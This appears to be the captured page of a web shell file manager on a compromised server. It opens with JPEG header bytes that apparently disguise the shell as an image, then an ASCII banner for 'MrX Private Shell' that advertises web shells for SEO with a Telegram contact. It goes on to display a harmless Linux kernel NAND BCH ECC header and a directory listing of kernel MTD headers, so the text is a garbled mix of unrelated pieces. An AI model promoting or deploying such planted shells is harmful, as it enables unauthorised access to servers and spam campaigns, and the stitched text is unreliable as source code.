����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
/* SPDX-License-Identifier: GPL-2.0-only */
/*
* Copyright © 2011 Ivan Djelic <ivan.djelic@parrot.com>
*
* This file is the header for the NAND BCH ECC implementation.
*/
#ifndef __MTD_NAND_ECC_SW_BCH_H__
#define __MTD_NAND_ECC_SW_BCH_H__
#include <linux/mtd/nand.h>
#include <linux/bch.h>
/**
* struct nand_ecc_sw_bch_conf - private software BCH ECC engine structure
* @req_ctx: Save request context and tweak the original request to fit the
* engine needs
* @code_size: Number of bytes needed to store a code (one code per step)
* @calc_buf: Buffer to use when calculating ECC bytes
* @code_buf: Buffer to use when reading (raw) ECC bytes from the chip
* @bch: BCH control structure
* @errloc: error location array
* @eccmask: XOR ecc mask, allows erased pages to be decoded as valid
*/
struct nand_ecc_sw_bch_conf {
struct nand_ecc_req_tweak_ctx req_ctx;
unsigned int code_size;
u8 *calc_buf;
u8 *code_buf;
struct bch_control *bch;
unsigned int *errloc;
unsigned char *eccmask;
};
#if IS_ENABLED(CONFIG_MTD_NAND_ECC_SW_BCH)
int nand_ecc_sw_bch_calculate(struct nand_device *nand,
const unsigned char *buf, unsigned char *code);
int nand_ecc_sw_bch_correct(struct nand_device *nand, unsigned char *buf,
unsigned char *read_ecc, unsigned char *calc_ecc);
int nand_ecc_sw_bch_init_ctx(struct nand_device *nand);
void nand_ecc_sw_bch_cleanup_ctx(struct nand_device *nand);
struct nand_ecc_engine *nand_ecc_sw_bch_get_engine(void);
#else /* !CONFIG_MTD_NAND_ECC_SW_BCH */
static inline int nand_ecc_sw_bch_calculate(struct nand_device *nand,
const unsigned char *buf,
unsigned char *code)
{
return -ENOTSUPP;
}
static inline int nand_ecc_sw_bch_correct(struct nand_device *nand,
unsigned char *buf,
unsigned char *read_ecc,
unsigned char *calc_ecc)
{
return -ENOTSUPP;
}
static inline int nand_ecc_sw_bch_init_ctx(struct nand_device *nand)
{
return -ENOTSUPP;
}
static inline void nand_ecc_sw_bch_cleanup_ctx(struct nand_device *nand) {}
#endif /* CONFIG_MTD_NAND_ECC_SW_BCH */
#endif /* __MTD_NAND_ECC_SW_BCH_H__ */
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| bbm.h | File | 4.71 KB | 0644 |
|
| blktrans.h | File | 2.62 KB | 0644 |
|
| cfi.h | File | 9.88 KB | 0644 |
|
| cfi_endian.h | File | 1.48 KB | 0644 |
|
| concat.h | File | 493 B | 0644 |
|
| doc2000.h | File | 5.38 KB | 0644 |
|
| flashchip.h | File | 2.42 KB | 0644 |
|
| ftl.h | File | 2.49 KB | 0644 |
|
| gen_probe.h | File | 615 B | 0644 |
|
| hyperbus.h | File | 2.87 KB | 0644 |
|
| inftl.h | File | 1.56 KB | 0644 |
|
| jedec.h | File | 1.86 KB | 0644 |
|
| latch-addr-flash.h | File | 716 B | 0644 |
|
| lpc32xx_mlc.h | File | 385 B | 0644 |
|
| lpc32xx_slc.h | File | 385 B | 0644 |
|
| map.h | File | 12.71 KB | 0644 |
|
| mtd.h | File | 22.05 KB | 0644 |
|
| mtdram.h | File | 257 B | 0644 |
|
| nand-ecc-sw-bch.h | File | 2.07 KB | 0644 |
|
| nand-ecc-sw-hamming.h | File | 2.65 KB | 0644 |
|
| nand-gpio.h | File | 330 B | 0644 |
|
| nand.h | File | 29.57 KB | 0644 |
|
| ndfc.h | File | 2.02 KB | 0644 |
|
| nftl.h | File | 1.69 KB | 0644 |
|
| onenand.h | File | 7.79 KB | 0644 |
|
| onenand_regs.h | File | 7.05 KB | 0644 |
|
| onfi.h | File | 4.85 KB | 0644 |
|
| partitions.h | File | 3.85 KB | 0644 |
|
| pfow.h | File | 4.38 KB | 0644 |
|
| physmap.h | File | 808 B | 0644 |
|
| pismo.h | File | 271 B | 0644 |
|
| plat-ram.h | File | 668 B | 0644 |
|
| platnand.h | File | 2.49 KB | 0644 |
|
| qinfo.h | File | 2.47 KB | 0644 |
|
| rawnand.h | File | 50.97 KB | 0644 |
|
| sh_flctl.h | File | 5.79 KB | 0644 |
|
| sharpsl.h | File | 485 B | 0644 |
|
| spear_smi.h | File | 1.67 KB | 0644 |
|
| spi-nor.h | File | 16.84 KB | 0644 |
|
| spinand.h | File | 15.84 KB | 0644 |
|
| super.h | File | 578 B | 0644 |
|
| ubi.h | File | 9.68 KB | 0644 |
|
| xip.h | File | 2.5 KB | 0644 |
|